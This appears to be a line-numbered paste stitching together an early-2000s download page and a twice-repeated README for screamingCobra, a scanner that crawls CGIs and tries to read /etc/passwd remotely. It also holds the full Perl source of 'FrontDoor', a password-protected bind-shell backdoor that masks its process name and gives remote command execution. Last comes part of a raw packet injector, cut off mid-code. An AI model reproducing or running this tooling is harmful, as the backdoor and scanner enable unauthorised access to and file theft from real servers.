  1862. Welcome to cobra.LucidX.com! screamingCobra is an application that does automated vulnerability scanning in remote CGIs by using techniques that are able to spot very common bugs in many CGIs, usually when dealing with templates or any other files or applications. screamingCobra was written by Samy Kamkar, originally at Caezar's Challenge V at DefCon, but rewritten completely with numerous feature additions (previously known as crawl5b). Check the manual page for more information!
  1863. ________________________________________
  1864.  
  1865.  
  1866. News - January 12th, 2002
  1867.  
  1868.  
  1869. This site is put up and I've set up a mailing list to go with it. Submit your email address at the bottom left to subscribe to the mailing list or send an email to majordomo@LucidX.com with the body containing 'subscribe cobra'.
  1870. ________________________________________
  1871.  
  1872.  
  1873. screamingCobra's Manual
  1874.  
  1875.  
  1876.  
  1877. A read-me on how to use screamingCobra, what it does, all of its options, etc..
  1878.  
  1879.  
  1880. Download screamingCobra
  1881.  
  1882.  
  1883.  
  1884. You can get all the downloads from here such as the stable version, development version, and even specific files out of a certain version. For the stable version, get CURRENT.tar.gz.
  1885.  
  1886.  
  1887.  
  1888. Changes
  1889.  
  1890.  
  1891.  
  1892. You can see all the changes made with all of the versions of screamingCobra here, including changes in the development version!
  1893. http://www.samy.pl/scobra/
  1894.  
  1895. Index of /scobra/downloads/screamingCobra-1.04
  1896. Name
  1897. Last modified
  1898. Size
  1899. Description
  1900.  
  1901. ________________________________________
  1902. Parent Directory
  1903. -
  1904. LICENSE
  1905. 13-Jan-2002 05:23 1.4K
  1906. README
  1907. 13-Jan-2002 05:39 7.6K
  1908. TODO
  1909. 13-Jan-2002 05:23 163
  1910. changeLog
  1911. 13-Jan-2002 05:23 632
  1912. sCobra-WIN.exe
  1913. 13-Jan-2002 05:23 784K
  1914. screamingCobra.pl
  1915. 22-Jan-2002 23:44 9.9K
  1916. ________________________________________
  1917. screamingCobra v1.04 -- < January 12, 2002 >
  1918. by Samy Kamkar [commport5@LucidX.com]
  1919.  
  1920. usage: screamingCobra.pl [-e] [-i] [-s|-v] <http://host.name>[:port][/start/page]
  1921.  
  1922. =======================
  1923. == TABLE OF CONTENTS ==
  1924. =======================
  1925. 1. What is screamingCobra
  1926. 2. What screamingCobra does
  1927. 3. Why was screamingCobra written
  1928. 4. Configuring screamingCobra
  1929. A. Basic Configuration
  1930. B. Adding Techniques
  1931. 5. Command-line options
  1932. 6. Supported Operating Systems
  1933. =======================
  1934.  
  1935.  
  1936. _____________________________
  1937. 1. __ WHAT IS SCREAMING COBRA __
  1938. =============================
  1939. Any CGI that doesn't check arguements that are passed to it
  1940. over the web are possibly vulnerable to attacks which allow
  1941. a malicious user get read access to almost any file on that
  1942. system, if not access to execute programs. screamingCobra
  1943. is almost always able to find those bugs REMOTELY due to
  1944. the common errors programmers make.
  1945.  
  1946. screamingCobra is an application for remote vulnerability
  1947. discovery in ANY UNKNOWN web applications such as CGIs and PHP
  1948. pages. Simply put, it attemps to find vulernabilities in all
  1949. web applications on a host without knowing anything about the
  1950. applications. Modern CGI scanners scan a host for CGIs
  1951. with known vulnerabilities. screamingCobra is able to 'find'
  1952. the actual vulnerabilities in ANY CGI, whether it has been
  1953. discovered before or not.
  1954.  
  1955.  
  1956. _______________________________
  1957. 2. __ WHAT SCREAMING COBRA DOES __
  1958. ===============================
  1959. I've even been told by administrators of very well known
  1960. sites that they've been able to use screamingCobra (originally
  1961. called crawl5b, before this release) and find at least one
  1962. bug which allows anyone to get read access to almost any file
  1963. on the system, if not access to execute applications. When
  1964. you launch screamingCobra, it crawls the specified host
  1965. over the web and attempts to find all the CGIs or any other
  1966. applications where parameters can be passed. It then attempts
  1967. to use a few techniques to read files on that machine. By
  1968. default, it attempts to read /etc/passwd, and if successful it
  1969. will display the URL in which it used to access the file.
  1970.  
  1971.  
  1972. _____________________________________
  1973. 3. __ WHY WAS SCREAMING COBRA WRITTEN __
  1974. =====================================
  1975. The core was originally written at DefCon 9, specifically at
  1976. Caezar's Challeng V, for Challenge B:
  1977. "identify hypothetical cases of common bugs in server-side
  1978. programs and then to describe algorithms that could detect those
  1979. problems from a special version of the client software".
  1980. I did just that, and wrote a program to go along with it.
  1981.  
  1982. Caezar's Challenge: http://caezarschallenge.org
  1983.  
  1984. _________________________________
  1985. 4. __ CONFIGURING SCREAMING COBRA __
  1986. =================================
  1987. A. -- BASIC CONFIGURATION --
  1988. There's not much, if any, configuring to be done.
  1989. Although, there may be some things you want to change.
  1990. I'll go over those now. Open up screamingCobra.pl
  1991. in a text editor and check these lines out:
  1992.  
  1993. Line 29: this is the file it will attempt to access
  1994. change 'etc/passwd' to, say, 'bin/ls' to attempt
  1995. to read /bin/ls.
  1996. I recommend KEEPING /etc/passwd as the default.
  1997.  
  1998. Line 30: this is the additional technique for finding
  1999. vulnerabilities. Leave it alone if you don't know
  2000. what it's doing :)
  2001.  
  2002. Line 32: @first -- this is the HTML tags to look for
  2003. that contain URLs. The array, by default, includes
  2004. 'a' (for <a href's..), 'img' (<img src...), 'body',
  2005. 'area', 'frame' and 'meta'. You may add more, just
  2006. follow the defaults.
  2007.  
  2008. Line 36: @second -- this is the tag options to look
  2009. for inside of a tag, such as 'href' (for <a href..)
  2010. and 'src' (<img src...).
  2011. This will NOT just look at the 2nd word in the tag,
  2012. but any words following a whitespace so it WILL
  2013. catch something like <a blah="" href="...">.
  2014.  
  2015. Line 40: @ignore -- extensions of files to not do a
  2016. GET on, just because they usually don't contain HTML
  2017. and are a waste of bandwidth.
  2018.  
  2019. Line 45: @requests -- this is the basic header that's
  2020. sent to the server when requesting a page or CGI.
  2021. screamingCobra randomly chooses one for each GET it
  2022. does, add more according to the two default ones.
  2023.  
  2024. That's it! You probably didn't have to change anything
  2025. or add anything, but it's good to know how to.
  2026.  
  2027.  
  2028. B. -- ADDING TECHNIQUES --
  2029. Adding techniques and using them is very simple!
  2030. First, find where the '$technique1' variable is set (by
  2031. default, it's at line 29). After all the variables in
  2032. that section that begin with 'technique' and end in a
  2033. number, add a new one, incrementing the number by 1.
  2034. For example, if you have a fresh screamingCobra.pl,
  2035. you would stick in:
  2036. $technique3 = "your technique to be GET'd";
  2037. The 3 is because there are already two other techniques.
  2038.  
  2039. Now to actually be able to use the 3rd technique (and
  2040. all techniques ending with a number less than 3 [2, 1]),
  2041. you must add that many '-e's when running screamingCobra.
  2042.  
  2043. For example, if you wanted to run screamingCobra using
  2044. technique 3, you would run like so:
  2045. ./screamingCobra.pl -eee http://host.name
  2046.  
  2047. You may of course use any other arguements, as well, and
  2048. use whatever host/port/page you want to.
  2049.  
  2050.  
  2051. __________________________
  2052. 5. __ COMMAND-LINE OPTIONS __
  2053. ==========================
  2054. usage: screamingCobra.pl [-e] [-i] [-s|-v] <http://host.name>[:port][/start/page]
  2055.  
  2056. -e: EXTRA TECHNIQUES
  2057. Uses multiple techniques to find bugs.
  2058. This will take over twice the amount of time to
  2059. complete a scan and the other techniques used with
  2060. this options are not commonly found in applications
  2061. but if you need to do a very strong pen test, you
  2062. may want to use this option.
  2063.  
  2064. -i: DON'T IGNORE ANY FILES
  2065. In the program, there is a user-configurable array
  2066. of extensions to ignore (not to GET). Those include
  2067. images, compressed files, etc.. This is because those
  2068. files will usually not be HTML pages so there won't
  2069. be any useful data in them, and they may take up a lot
  2070. of bandwidth as well. This option ignores that list
  2071. and screamingCobra will not ignore any files.
  2072.  
  2073. -s: STATUS BAR
  2074. This creates a status bar with constantly updated
  2075. numbers of pages accessed, bugs found and attempted
  2076. vulnerability scans. Cannot be used with verbose,
  2077. although the status bar is ALWAYS displayed when the
  2078. user unexpectedly exits or kills the application (^C)
  2079. or when the application is finished crawling.
  2080.  
  2081. -v: VERBOSE
  2082. This will display all the files being accessed and
  2083. will also list when CGIs are found and attempted to
  2084. be broken (to find vulnerabilities). Cannot be used
  2085. with status bar, although a status bar is ALWAYS
  2086. displayed when the user unexpectedly exits or kills the
  2087. application (^C) or when the application is finished
  2088. crawling.
  2089.  
  2090. <http://host.name>: Hostname or IP of host to scan. [REQUIRED]
  2091. For example, http://cobra.LucidX.com
  2092.  
  2093. [:port]: Port to connect to, default is 80.
  2094. For example, http://cobra.LucidX.com:80
  2095.  
  2096. [/start/page]: Page to start on.
  2097. For example, http://cobra.LucidX.com/screamingCobra-1.03/
  2098. and also, http://cobra.LucidX.com:80/index.html
  2099.  
  2100.  
  2101. __________________________________
  2102. 6. __ SUPPORTED OPERATING SYSTEMS __
  2103. ==================================
  2104. screamingCobra will work on ANY operating system that has
  2105. Perl 5.x.
  2106.  
  2107. I also compiled a binary for
  2108. Windows, sCobra-WIN.exe.
  2109.  
  2110. This will be recompiled for every new version of
  2111. screamingCobra and will be included in all releases.
  2112.  
  2113.  
  2114. ===================
  2115. == END OF README ==
  2116. ===================
  2117. That's all for now.
  2118. Contact me (Samy Kamkar) at commport5@LucidX.com for
  2119. questions or comments, hope to hear from you all! :)
  2120.  
  2121. http://samy.pl/scobra/downloads/screamingCobra-1.04/
  2122.  
  2123.  
  2124. Index of /scobra/downloads/CURRENT
  2125. Name
  2126. Last modified
  2127. Size
  2128. Description
  2129.  
  2130. ________________________________________
  2131. Parent Directory
  2132. -
  2133. LICENSE
  2134. 13-Jan-2002 05:23 1.4K
  2135. README
  2136. 13-Jan-2002 05:39 7.6K
  2137. TODO
  2138. 13-Jan-2002 05:23 163
  2139. changeLog
  2140. 13-Jan-2002 05:23 632
  2141. sCobra-WIN.exe
  2142. 13-Jan-2002 05:23 784K
  2143. screamingCobra.pl
  2144. 22-Jan-2002 23:44 9.9K
  2145. ________________________________________
  2146. screamingCobra v1.04 -- < January 12, 2002 >
  2147. by Samy Kamkar [commport5@LucidX.com]
  2148.  
  2149. usage: screamingCobra.pl [-e] [-i] [-s|-v] <http://host.name>[:port][/start/page]
  2150.  
  2151. =======================
  2152. == TABLE OF CONTENTS ==
  2153. =======================
  2154. 1. What is screamingCobra
  2155. 2. What screamingCobra does
  2156. 3. Why was screamingCobra written
  2157. 4. Configuring screamingCobra
  2158. A. Basic Configuration
  2159. B. Adding Techniques
  2160. 5. Command-line options
  2161. 6. Supported Operating Systems
  2162. =======================
  2163.  
  2164.  
  2165. _____________________________
  2166. 1. __ WHAT IS SCREAMING COBRA __
  2167. =============================
  2168. Any CGI that doesn't check arguements that are passed to it
  2169. over the web are possibly vulnerable to attacks which allow
  2170. a malicious user get read access to almost any file on that
  2171. system, if not access to execute programs. screamingCobra
  2172. is almost always able to find those bugs REMOTELY due to
  2173. the common errors programmers make.
  2174.  
  2175. screamingCobra is an application for remote vulnerability
  2176. discovery in ANY UNKNOWN web applications such as CGIs and PHP
  2177. pages. Simply put, it attemps to find vulernabilities in all
  2178. web applications on a host without knowing anything about the
  2179. applications. Modern CGI scanners scan a host for CGIs
  2180. with known vulnerabilities. screamingCobra is able to 'find'
  2181. the actual vulnerabilities in ANY CGI, whether it has been
  2182. discovered before or not.
  2183.  
  2184.  
  2185. _______________________________
  2186. 2. __ WHAT SCREAMING COBRA DOES __
  2187. ===============================
  2188. I've even been told by administrators of very well known
  2189. sites that they've been able to use screamingCobra (originally
  2190. called crawl5b, before this release) and find at least one
  2191. bug which allows anyone to get read access to almost any file
  2192. on the system, if not access to execute applications. When
  2193. you launch screamingCobra, it crawls the specified host
  2194. over the web and attempts to find all the CGIs or any other
  2195. applications where parameters can be passed. It then attempts
  2196. to use a few techniques to read files on that machine. By
  2197. default, it attempts to read /etc/passwd, and if successful it
  2198. will display the URL in which it used to access the file.
  2199.  
  2200.  
  2201. _____________________________________
  2202. 3. __ WHY WAS SCREAMING COBRA WRITTEN __
  2203. =====================================
  2204. The core was originally written at DefCon 9, specifically at
  2205. Caezar's Challeng V, for Challenge B:
  2206. "identify hypothetical cases of common bugs in server-side
  2207. programs and then to describe algorithms that could detect those
  2208. problems from a special version of the client software".
  2209. I did just that, and wrote a program to go along with it.
  2210.  
  2211. Caezar's Challenge: http://caezarschallenge.org
  2212.  
  2213. _________________________________
  2214. 4. __ CONFIGURING SCREAMING COBRA __
  2215. =================================
  2216. A. -- BASIC CONFIGURATION --
  2217. There's not much, if any, configuring to be done.
  2218. Although, there may be some things you want to change.
  2219. I'll go over those now. Open up screamingCobra.pl
  2220. in a text editor and check these lines out:
  2221.  
  2222. Line 29: this is the file it will attempt to access
  2223. change 'etc/passwd' to, say, 'bin/ls' to attempt
  2224. to read /bin/ls.
  2225. I recommend KEEPING /etc/passwd as the default.
  2226.  
  2227. Line 30: this is the additional technique for finding
  2228. vulnerabilities. Leave it alone if you don't know
  2229. what it's doing :)
  2230.  
  2231. Line 32: @first -- this is the HTML tags to look for
  2232. that contain URLs. The array, by default, includes
  2233. 'a' (for <a href's..), 'img' (<img src...), 'body',
  2234. 'area', 'frame' and 'meta'. You may add more, just
  2235. follow the defaults.
  2236.  
  2237. Line 36: @second -- this is the tag options to look
  2238. for inside of a tag, such as 'href' (for <a href..)
  2239. and 'src' (<img src...).
  2240. This will NOT just look at the 2nd word in the tag,
  2241. but any words following a whitespace so it WILL
  2242. catch something like <a blah="" href="...">.
  2243.  
  2244. Line 40: @ignore -- extensions of files to not do a
  2245. GET on, just because they usually don't contain HTML
  2246. and are a waste of bandwidth.
  2247.  
  2248. Line 45: @requests -- this is the basic header that's
  2249. sent to the server when requesting a page or CGI.
  2250. screamingCobra randomly chooses one for each GET it
  2251. does, add more according to the two default ones.
  2252.  
  2253. That's it! You probably didn't have to change anything
  2254. or add anything, but it's good to know how to.
  2255.  
  2256.  
  2257. B. -- ADDING TECHNIQUES --
  2258. Adding techniques and using them is very simple!
  2259. First, find where the '$technique1' variable is set (by
  2260. default, it's at line 29). After all the variables in
  2261. that section that begin with 'technique' and end in a
  2262. number, add a new one, incrementing the number by 1.
  2263. For example, if you have a fresh screamingCobra.pl,
  2264. you would stick in:
  2265. $technique3 = "your technique to be GET'd";
  2266. The 3 is because there are already two other techniques.
  2267.  
  2268. Now to actually be able to use the 3rd technique (and
  2269. all techniques ending with a number less than 3 [2, 1]),
  2270. you must add that many '-e's when running screamingCobra.
  2271.  
  2272. For example, if you wanted to run screamingCobra using
  2273. technique 3, you would run like so:
  2274. ./screamingCobra.pl -eee http://host.name
  2275.  
  2276. You may of course use any other arguements, as well, and
  2277. use whatever host/port/page you want to.
  2278.  
  2279.  
  2280. __________________________
  2281. 5. __ COMMAND-LINE OPTIONS __
  2282. ==========================
  2283. usage: screamingCobra.pl [-e] [-i] [-s|-v] <http://host.name>[:port][/start/page]
  2284.  
  2285. -e: EXTRA TECHNIQUES
  2286. Uses multiple techniques to find bugs.
  2287. This will take over twice the amount of time to
  2288. complete a scan and the other techniques used with
  2289. this options are not commonly found in applications
  2290. but if you need to do a very strong pen test, you
  2291. may want to use this option.
  2292.  
  2293. -i: DON'T IGNORE ANY FILES
  2294. In the program, there is a user-configurable array
  2295. of extensions to ignore (not to GET). Those include
  2296. images, compressed files, etc.. This is because those
  2297. files will usually not be HTML pages so there won't
  2298. be any useful data in them, and they may take up a lot
  2299. of bandwidth as well. This option ignores that list
  2300. and screamingCobra will not ignore any files.
  2301.  
  2302. -s: STATUS BAR
  2303. This creates a status bar with constantly updated
  2304. numbers of pages accessed, bugs found and attempted
  2305. vulnerability scans. Cannot be used with verbose,
  2306. although the status bar is ALWAYS displayed when the
  2307. user unexpectedly exits or kills the application (^C)
  2308. or when the application is finished crawling.
  2309.  
  2310. -v: VERBOSE
  2311. This will display all the files being accessed and
  2312. will also list when CGIs are found and attempted to
  2313. be broken (to find vulnerabilities). Cannot be used
  2314. with status bar, although a status bar is ALWAYS
  2315. displayed when the user unexpectedly exits or kills the
  2316. application (^C) or when the application is finished
  2317. crawling.
  2318.  
  2319. <http://host.name>: Hostname or IP of host to scan. [REQUIRED]
  2320. For example, http://cobra.LucidX.com
  2321.  
  2322. [:port]: Port to connect to, default is 80.
  2323. For example, http://cobra.LucidX.com:80
  2324.  
  2325. [/start/page]: Page to start on.
  2326. For example, http://cobra.LucidX.com/screamingCobra-1.03/
  2327. and also, http://cobra.LucidX.com:80/index.html
  2328.  
  2329.  
  2330. __________________________________
  2331. 6. __ SUPPORTED OPERATING SYSTEMS __
  2332. ==================================
  2333. screamingCobra will work on ANY operating system that has
  2334. Perl 5.x.
  2335.  
  2336. I also compiled a binary for
  2337. Windows, sCobra-WIN.exe.
  2338.  
  2339. This will be recompiled for every new version of
  2340. screamingCobra and will be included in all releases.
  2341.  
  2342.  
  2343. ===================
  2344. == END OF README ==
  2345. ===================
  2346. That's all for now.
  2347. Contact me (Samy Kamkar) at commport5@LucidX.com for
  2348. questions or comments, hope to hear from you all! :)
  2349.  
  2350. http://samy.pl/scobra/downloads/CURRENT/
  2351. #!/usr/bin/perl
  2352.  
  2353. # by CommPort5[@LucidX.com] (samy)
  2354. # opens a pty instead of just a plain connection so ansi can get through, PoC
  2355.  
  2356. $login = 0; # if = 1, use $loginbin to login as a regular user
  2357. # if = 0, use it's own username and password
  2358. # login not active yet!
  2359. $0 = "FrontDoor"; # what to show instead of 'perl frontdoor.pl' in a ps
  2360. $pwprompt = 2; # if = 2, prompts you for a username and password
  2361. # if = 1, prompts you for a password
  2362. # if = 0, accepts the password (but no text is shown)
  2363. $amtusers = 02; # amount of connections allowed at once
  2364. $username = "cp5"; # username (required, but only used if $pwprompt = 1 or 2)
  2365. $password = "passwd"; # password
  2366. $port = 11223; # port to bind to
  2367. $bindtoip = 0; # if = 1, binds to $ip
  2368. # if = 0, ignores $ip and binds to default IP
  2369. $ip = "123.45.67.89"; # binds to this ip only if $bindtoip = 1
  2370. $loginbin = "/usr/bin/login"; # path to `login` bin
  2371.  
  2372. use blib;
  2373. use Cwd;
  2374. use IO::Pty;
  2375. use IO::Socket;
  2376. use Term::ANSIColor;
  2377. require POSIX;
  2378. defined($fork = fork());
  2379. ($fork) && die "FrontDoor running on PID $fork\n";
  2380. $ver = "0.1b2";
  2381. if($bindtoip) {
  2382. $x = IO::Socket::INET->new(
  2383. LocalPort => $port,
  2384. LocalAddr => $ip,
  2385. Listen => $amtusers,
  2386. Proto => 'tcp',
  2387. Reuse => 1)
  2388. or die "Unable to bind to socket: $!\n";;
  2389. }
  2390. else {
  2391. $x = IO::Socket::INET->new(
  2392. LocalPort => $port,
  2393. Listen => $amtusers,
  2394. Proto => 'tcp',
  2395. Reuse => 1)
  2396. or die "Unable to bind to socket: $!\n";
  2397. }
  2398. while(my $c = $x->accept) {
  2399. die unless defined(my $child = fork());
  2400. if ($child == 0) {
  2401. $x->close;
  2402. interact($c);
  2403. exit 0;
  2404. }
  2405. }
  2406. continue {
  2407. $c->close;
  2408. }
  2409. sub interact {
  2410. my $s = shift;
  2411. STDIN->fdopen($s, "r");
  2412. STDOUT->fdopen($s, "w");
  2413. STDERR->fdopen($s, "w");
  2414. STDOUT->autoflush(1);
  2415. if($pwprompt == 2) {
  2416. print colored("\nWelcome! ", 'red');
  2417. print "This host is running ";
  2418. print colored("FrontDoor ", 'bold');
  2419. print colored("[$0] ", 'bold blue');
  2420. print colored("v.$ver\n\n", 'bold red');
  2421. print "Login: ";
  2422. chomp($us = <STDIN>);
  2423. print "Password: ";
  2424. }
  2425. if($pwprompt == 1) {
  2426. print colored("\nWelcome! ", 'red');
  2427. print "This host is running ";
  2428. print colored("FrontDoor ", 'bold');
  2429. print colored("[$0] ", 'bold blue');
  2430. print colored("v.$ver\n\n", 'bold red');
  2431. print "\nPassword: ";
  2432. }
  2433. chomp($x = <STDIN>);
  2434. if($pwprompt == 2 and $us !~ /^$username/i) {
  2435. die "\nIncorrect username or password\n";
  2436. close($x);
  2437. }
  2438. if($x =~ /^$password/) {
  2439. print "\n";
  2440. do {
  2441. $pwd = cwd;
  2442. print "pt";
  2443. print colored("SH", 'bold');
  2444. print colored("[", 'bold blue');
  2445. print colored("$username", 'red');
  2446. print colored("\@", 'bold green');
  2447. print colored("$pwd", 'yellow');
  2448. print colored("]", 'bold blue');
  2449. print colored("\$", 'underline bold blink black on_white');
  2450. print " ";
  2451. chomp($y = <STDIN>);
  2452. if($y =~ /^\s*exit/) {
  2453. die "Good bye, $username!\n";
  2454. }
  2455. else {
  2456. @cm = split(/\s+/, $y);
  2457. $pty = new IO::Pty;
  2458. if(@cm and $cm[0] =~ /^cd$/) {
  2459. chdir($cm[1]);
  2460. $num = 2;
  2461. while($cm[$num]) {
  2462. $nc .= $cm[$num];
  2463. $num++;
  2464. }
  2465. @cm = split(/\s+/, $nc);
  2466. }
  2467. if(@cm and $cm[0] !~ /^cd$/) {
  2468. my $pid = fork;
  2469. die "Cannot fork: $!" if($pid < 0);
  2470. if($pid) {
  2471. parent($pty);
  2472. }
  2473. else {
  2474. child($pty);
  2475. }
  2476. }
  2477. sub child {
  2478. my($pty) = @_;
  2479. POSIX::setsid();
  2480. my $tty = $pty->slave;
  2481. close($pty);
  2482. open(STDIN, "<&".fileno($tty)) || (sleep(5), die "Cannot open STDIN");
  2483. open(STDOUT, ">&".fileno($tty)) || (sleep(5), die "Cannot open STDOUT");
  2484. open(STDERR, ">&STDOUT") || (sleep(5), die "Cannot open STDERR");
  2485. close($tty);
  2486. my $prog = shift(@cm);
  2487. if(!@cm && $prog =~ /sh$/) {
  2488. exec $prog '-sh'
  2489. }
  2490. exec($prog, @cm);
  2491. die "Unable to execute\n";
  2492. }
  2493. sub process {
  2494. my($rin, $src, $dst) = @_;
  2495. my $buf = '';
  2496. my $read = sysread($src, $buf, 1);
  2497. if(defined $read && $read) {
  2498. syswrite($dst, $buf, $read);
  2499. }
  2500. else {
  2501. vec($rin, fileno($src), 1) = 0;
  2502. }
  2503. return $rin;
  2504. }
  2505. sub parent {
  2506. my($pty) = @_;
  2507. my $tty = $pty;
  2508. my($rin, $win, $ein) = ('', '', '');
  2509. vec($rin, fileno(STDIN), 1) = 1;
  2510. vec($rin, fileno($tty), 1) = 1;
  2511. vec($win, fileno($tty), 1) = 1;
  2512. vec($ein, fileno($tty), 1) = 1;
  2513. select($tty);
  2514. $| = 1;
  2515. select(STDOUT);
  2516. $| = 1;
  2517. while(1) {
  2518. my($rout, $wout, $eout, $timeleft);
  2519. ($nfound, $timeleft) = select($rout = $rin, $wout = $win, $eout = $ein, 3600);
  2520. die "select failed: $!" if($nfound < 0);
  2521. if($nfound > 0) {
  2522. if(vec($eout, fileno($tty), 1)) {
  2523. }
  2524. if(vec($rout, fileno($tty), 1)) {
  2525. $rin = process($rin, $tty, STDOUT);
  2526. last unless(vec($rin, fileno($tty), 1));
  2527. }
  2528. elsif(vec($rout, fileno(STDIN), 1) && vec($wout, fileno($tty), 1)) {
  2529. $rin = process($rin, STDIN, $tty);
  2530. }
  2531. }
  2532. }
  2533. }
  2534. }
  2535. }
  2536. while(1);
  2537. }
  2538. else {
  2539. if($pwprompt == 2) {
  2540. die "\nIncorrect username or password\n";
  2541. close($x);
  2542. }
  2543. if($pwprompt == 1) {
  2544. die "\nIncorrect password\n";
  2545. close($x);
  2546. }
  2547. if($pwprompt == 0) {
  2548. die "\n";
  2549. close($x);
  2550. }
  2551. }
  2552. }
  2553.  
  2554.  
  2555. #!/usr/bin/perl
  2556.  
  2557. # by samy [commport5@lucidx.com]
  2558. # requires pdump::Sniff - http://secure.lucidx.com/pdump-devel.tar.gz [pdump.lucidx.com/pdump.tar.gz but it's older]
  2559.  
  2560. use pdump::Sniff;
  2561. use Tk;
  2562. $mdb = MainWindow->new();
  2563. @iphdr = qw(version ihl tos tot_len id frag_off ttl protocol check saddr daddr);
  2564. @tcphdr = qw(source dest seq ack_seq doff res1 res2 urg ack psh rst syn fin window check urg_ptr data);
  2565. @udphdr = qw(source dest len check data);
  2566. @icmphdr = qw(type code check gateway id sequence unused mtu data);
  2567. $mdb->title(" Raw Packet Injector");
  2568. $status = $mdb->Label(-width => 30, -relief => "sunken", -bd => 1);
  2569. $status->pack(-side => "bottom", -fill => "y", -padx => 2, -pady => 1);
  2570. $mhead = $mdb->Frame(-relief => 'ridge', -borderwidth => 2)->pack(-fill => 'x', -anchor => 'nw', -side => 'top');
  2571. $mright = $mdb->Frame(-relief => 'ridge', -borderwidth => 2)->pack(-fill => 'x', -anchor => 'ne', -side => 'right');
  2572. $mright->Label(-text => 'Packet Type')->pack(-fill => 'x', -anchor => 'nw', -side => 'top');
  2573. @typerad = ('TCP', 'UDP', 'ICMP');
  2574. for my $type (0 .. 2) {
  2575. $mright->Radiobutton(-text => "$typerad[$type]", -variable => \$dbtype, anchor => 'w', -relief => 'flat', -value => $type)->pack(-side => 'top');
  2576. }
  2577. $mright->Label(-text => "\nPackets")->pack;
  2578. $speed = $mright->Entry(-borderwidth => 2, -width => 8)->pack;
  2579. $speed->insert('end', "1");
  2580. $mright->Label(-text => "\n")->pack;
  2581. $mright->Button(-text => "TCP Headers", -command => \&tcph)->pack;
  2582. $mright->Button(-text => "UDP Headers", -command => \&udph)->pack;
  2583. $mright->Button(-text => "ICMP Headers", -command => \&icmph)->pack;
  2584. $mw1 = $mdb->Frame()->pack(-side => 'left', -pady => 2, -padx => 15);
  2585. $mw1->Label(-text => "IP Headers\n", -anchor => 'e')->pack;
  2586. foreach (0 .. 20) {
  2587. if ($iphdr[$_]) {
  2588. $x{$_} = $mw1->Frame();
  2589. $x{$_}->pack(-pady => '2', -anchor => 'e');
  2590. $tmp = $x{$_}->Label(-text => $iphdr[$_], -anchor => 'e');
  2591. $t = "ip_$iphdr[$_]";
  2592. ${$t} = $x{$_}->Entry(-width => '17', -relief => 'sunken')->pack(-side => 'right');
  2593. $tmp->pack(-side => 'right');
  2594. }
  2595. }
  2596. $balloon = $mdb->Balloon(-statusbar => $status);
  2597. $btnok = $mhead->Button(-text => 'Send');
  2598. $btnok->configure(-command => \&write);
  2599. $btnok->pack(-side => 'left', -padx => '2');
  2600. $balloon->attach($btnok, -balloonmsg => "Send packet(s)", -statusmsg => "Send packet(s)");
  2601. $btnsave = $mhead->Button(-text => 'Information');
  2602. $btnsave->configure(-command => \&info);
  2603. $btnsave->pack(-side => 'left', -padx => '2');
  2604. $balloon->attach($btnsave, -balloonmsg => "Valuable Information", -statusmsg => "Information on this program");
  2605. $btncancel = $mhead->Button(-text => 'Exit', -command => [$mdb,'destroy']);
  2606. $btncancel->pack(-side => 'left', -padx => '2');
  2607. $balloon->attach($btncancel, -balloonmsg => "Exit Program", -statusmsg => "Exit Program");
  2608. MainLoop;
  2609. sub write {
  2610. my (%ttcp, %tip, %ip, %tcp, %udp, %icmp, %ticmp, %tudp);
  2611. foreach (@tcphdr) {
  2612. $t = "tcp_$_";
  2613. if (${$t}) {
  2614. $ttcp{$_} = ${$t};
  2615. }
  2616. }
  2617. foreach (@iphdr) {
  2618. $t = "ip_$_";
  2619. if (${$t}) {
  2620. $tip{$_} = get ${$t};
  2621. }
  2622. }
  2623. foreach (keys(%tip)) {
  2624. if ($tip{$_}) {
  2625. $ip{$_} = $tip{$_};
  2626. }
  2627. }
  2628. foreach (keys(%ttcp)) {
  2629. if ($ttcp{$_}) {
  2630. $tcp{$_} = $ttcp{$_};
  2631. }
  2632. }
  2633. foreach (@udphdr) {
  2634. $t = "udp_$_";
  2635. if (${$t}) {
  2636. $tudp{$_} = ${$t};
  2637. }
  2638. }
  2639. foreach (keys(%tudp)) {
  2640. if ($tudp{$_}) {
  2641. $udp{$_} = $tudp{$_};
  2642. }
  2643. }
  2644. foreach (@icmphdr) {
  2645. $t = "icmp_$_";
  2646. if (${$t}) {
  2647. $ticmp{$_} = ${$t};
  2648. }
  2649. }
  2650. foreach (keys(%ticmp)) {
  2651. if ($ticmp{$_}) {
  2652. $icmp{$_} = $ticmp{$_};
  2653. }
  2654. }
  2655. $sp = get $speed;
  2656. foreach (1 .. $sp) {
  2657. $a = new pdump::Sniff;
  2658. if ($dbtype == 0) {
  2659. $a->set({ip => { %ip }, tcp => { %tcp }});
  2660. }
  2661. elsif ($dbtype == 1) {
  2662. $a->set({ip => { %ip }, udp => { %udp }});
  2663. }
  2664. elsif ($dbtype == 2) {
  2665. $a->set({ip => { %ip }, icmp => { %icmp }});
  2666. }
  2667. $a->send;
  2668. }
  2669. }
  2670. sub info {
  2671. my $top2 = $mdb->Toplevel;
  2672. $top2->Label(-text => "\n Perl/Tk Raw Packet Injecting Utility \n by samy [CommPort5\@LucidX.com] \n")->pack;
  2673. }
  2674. sub tcph {
  2675. $f = $mdb->DialogBox(-title => "TCP Headers", -buttons => ["OK"]);
  2676. $n = $f->add('NoteBook', -ipadx => 6, -ipady => 6);
  2677. $address_p = $n->add("address", -label => "Required", -underline => 0);
  2678. $pref_p = $n->add("pref", -label => "Optional", -underline => 0);
  2679. $address_p->LabEntry(-label => "Source Port Number:", -labelPack => [-side => "left", -anchor => "w"], -width => 20, -textvariable => \$tcp_source)->pack(-side => "top", -anchor => "ne");
  2680. $address_p->LabEntry(-label => "Dest. Port Number:", -labelPack => [-side => "left", -anchor => "w"], -width => 20, -textvariable => \$tcp_dest)->pack(-side => "top", -anchor => "ne");
  2681. foreach (2 .. 20) {
  2682. if ($tcphdr[$_]) {
  2683. $tmp = "tcp_$tcphdr[$_]";
  2684. $pref_p->LabEntry(-label => "$tcphdr[$_]:", -labelPack => [-side => "left"], -width => 15, -textvariable => \${$tmp})->pack(-side => "top", -anchor => "ne");
  2685. }
  2686. }
  2687. $n->pack(-expand => "yes", -fill => "both", -padx => 5, -pady => 5, -side => "top");
  2688. $f->Show;
  2689. }
  2690. sub udph {
  2691. $f = $mdb->DialogBox(-title => "UDP Headers", -buttons => ["OK"]);
  2692. $n = $f->add('NoteBook', -ipadx => 6, -ipady => 6);
  2693. $address_p = $n->add("address", -label => "Required", -underline => 0);
  2694. $pref_p = $n->add("pref", -label => "Optional", -underline => 0);
